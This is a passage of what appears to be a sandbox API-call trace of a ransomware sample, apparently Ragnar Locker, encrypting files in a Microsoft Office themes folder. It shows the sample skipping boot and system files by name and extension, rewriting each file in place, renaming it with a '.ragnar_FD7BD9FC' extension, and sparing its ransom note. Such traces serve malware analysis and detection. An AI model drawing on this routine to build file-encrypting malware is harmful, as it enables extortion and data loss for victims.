out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0076.653] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0076.653] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0076.653] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0076.653] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0076.653] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7fece1a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7fece1a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0076.653] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7fece1a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7fece1a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.653] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0076.653] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0076.653] lstrcpyW (in: lpString1=0x1eab6e, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0076.653] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned=".GIF" [0076.653] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0076.653] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0076.653] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0076.653] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0076.653] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0076.653] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0076.653] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0076.653] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0076.653] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0076.653] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0076.653] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0076.653] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0076.653] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0076.654] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0076.654] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0076.654] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0076.654] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0076.654] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0076.654] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0076.654] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0076.654] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0076.654] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0076.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 0x20 [0076.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0076.654] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2209) returned 1 [0076.654] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x898, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.654] GetProcessHeap () returned 0x580000 [0076.654] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.654] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.656] VirtualAlloc (lpAddress=0x0, dwSize=0x8a1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.656] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.656] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.656] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8a1, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x8a1, lpOverlapped=0x0) returned 1 [0076.656] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.656] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8a1, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.656] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8a1, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x8a1, lpOverlapped=0x0) returned 1 [0076.657] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8a1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.657] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.657] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x8a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.657] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.657] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.657] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.657] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.657] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.657] GetProcessHeap () returned 0x580000 [0076.657] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.657] CloseHandle (hObject=0x100) returned 1 [0076.657] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" [0076.657] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.ragnar_FD7BD9FC" [0076.657] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.659] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fece1a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7fece1a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0076.659] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0076.659] lstrcpyW (in: lpString1=0x1eab6e, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0076.659] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\RGNR_FD7BD9FC.txt") returned=".txt" [0076.659] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0076.659] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28535900, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28535900, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.ELM", cAlternateFileName="")) returned 1 [0076.659] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0076.659] lstrcpyW (in: lpString1=0x1eab6e, lpString2="SONORA.ELM" | out: lpString1="SONORA.ELM") returned="SONORA.ELM" [0076.659] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM") returned=".ELM" [0076.660] lstrcmpiW (lpString1="SONORA.ELM", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0076.660] lstrcmpiW (lpString1="SONORA.ELM", lpString2="autorun.inf") returned 1 [0076.660] lstrcmpiW (lpString1="SONORA.ELM", lpString2="boot.ini") returned 1 [0076.660] lstrcmpiW (lpString1="SONORA.ELM", lpString2="bootfont.bin") returned 1 [0076.660] lstrcmpiW (lpString1="SONORA.ELM", lpString2="bootsect.bak") returned 1 [0076.660] lstrcmpiW (lpString1="SONORA.ELM", lpString2="bootmgr") returned 1 [0076.660] lstrcmpiW (lpString1="SONORA.ELM", lpString2="bootmgr.efi") returned 1 [0076.660] lstrcmpiW (lpString1="SONORA.ELM", lpString2="bootmgfw.efi") returned 1 [0076.660] lstrcmpiW (lpString1="SONORA.ELM", lpString2="desktop.ini") returned 1 [0076.660] lstrcmpiW (lpString1="SONORA.ELM", lpString2="iconcache.db") returned 1 [0076.660] lstrcmpiW (lpString1="SONORA.ELM", lpString2="ntldr") returned 1 [0076.660] lstrcmpiW (lpString1="SONORA.ELM", lpString2="ntuser.dat") returned 1 [0076.660] lstrcmpiW (lpString1="SONORA.ELM", lpString2="ntuser.dat.log") returned 1 [0076.660] lstrcmpiW (lpString1="SONORA.ELM", lpString2="ntuser.ini") returned 1 [0076.660] lstrcmpiW (lpString1="SONORA.ELM", lpString2="thumbs.db") returned -1 [0076.660] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0076.660] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0076.660] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0076.660] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0076.660] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0076.660] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0076.660] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0076.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm")) returned 0x20 [0076.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0076.661] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=54687) returned 1 [0076.661] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xd596, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.661] GetProcessHeap () returned 0x580000 [0076.661] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.661] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.663] VirtualAlloc (lpAddress=0x0, dwSize=0xd59f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.663] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.663] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.663] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd59f, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xd59f, lpOverlapped=0x0) returned 1 [0076.664] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.665] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd59f, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.665] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd59f, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xd59f, lpOverlapped=0x0) returned 1 [0076.665] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd59f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.665] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.665] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xd59f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.665] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.665] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.666] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.666] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.666] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.666] GetProcessHeap () returned 0x580000 [0076.666] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.666] CloseHandle (hObject=0x100) returned 1 [0076.666] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" [0076.666] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM.ragnar_FD7BD9FC" [0076.666] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.667] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.INF", cAlternateFileName="")) returned 1 [0076.667] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0076.667] lstrcpyW (in: lpString1=0x1eab6e, lpString2="SONORA.INF" | out: lpString1="SONORA.INF") returned="SONORA.INF" [0076.667] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF") returned=".INF" [0076.667] lstrcmpiW (lpString1="SONORA.INF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0076.667] lstrcmpiW (lpString1="SONORA.INF", lpString2="autorun.inf") returned 1 [0076.667] lstrcmpiW (lpString1="SONORA.INF", lpString2="boot.ini") returned 1 [0076.667] lstrcmpiW (lpString1="SONORA.INF", lpString2="bootfont.bin") returned 1 [0076.667] lstrcmpiW (lpString1="SONORA.INF", lpString2="bootsect.bak") returned 1 [0076.667] lstrcmpiW (lpString1="SONORA.INF", lpString2="bootmgr") returned 1 [0076.667] lstrcmpiW (lpString1="SONORA.INF", lpString2="bootmgr.efi") returned 1 [0076.667] lstrcmpiW (lpString1="SONORA.INF", lpString2="bootmgfw.efi") returned 1 [0076.667] lstrcmpiW (lpString1="SONORA.INF", lpString2="desktop.ini") returned 1 [0076.667] lstrcmpiW (lpString1="SONORA.INF", lpString2="iconcache.db") returned 1 [0076.667] lstrcmpiW (lpString1="SONORA.INF", lpString2="ntldr") returned 1 [0076.667] lstrcmpiW (lpString1="SONORA.INF", lpString2="ntuser.dat") returned 1 [0076.667] lstrcmpiW (lpString1="SONORA.INF", lpString2="ntuser.dat.log") returned 1 [0076.667] lstrcmpiW (lpString1="SONORA.INF", lpString2="ntuser.ini") returned 1 [0076.667] lstrcmpiW (lpString1="SONORA.INF", lpString2="thumbs.db") returned -1 [0076.667] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0076.667] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0076.667] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0076.667] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0076.667] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0076.667] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0076.667] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0076.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf")) returned 0x20 [0076.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0076.668] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=484) returned 1 [0076.668] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x1db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.668] GetProcessHeap () returned 0x580000 [0076.668] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.668] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.669] VirtualAlloc (lpAddress=0x0, dwSize=0x1e4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.669] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.669] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.669] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1e4, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1e4, lpOverlapped=0x0) returned 1 [0076.669] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.669] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e4, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.669] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1e4, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, 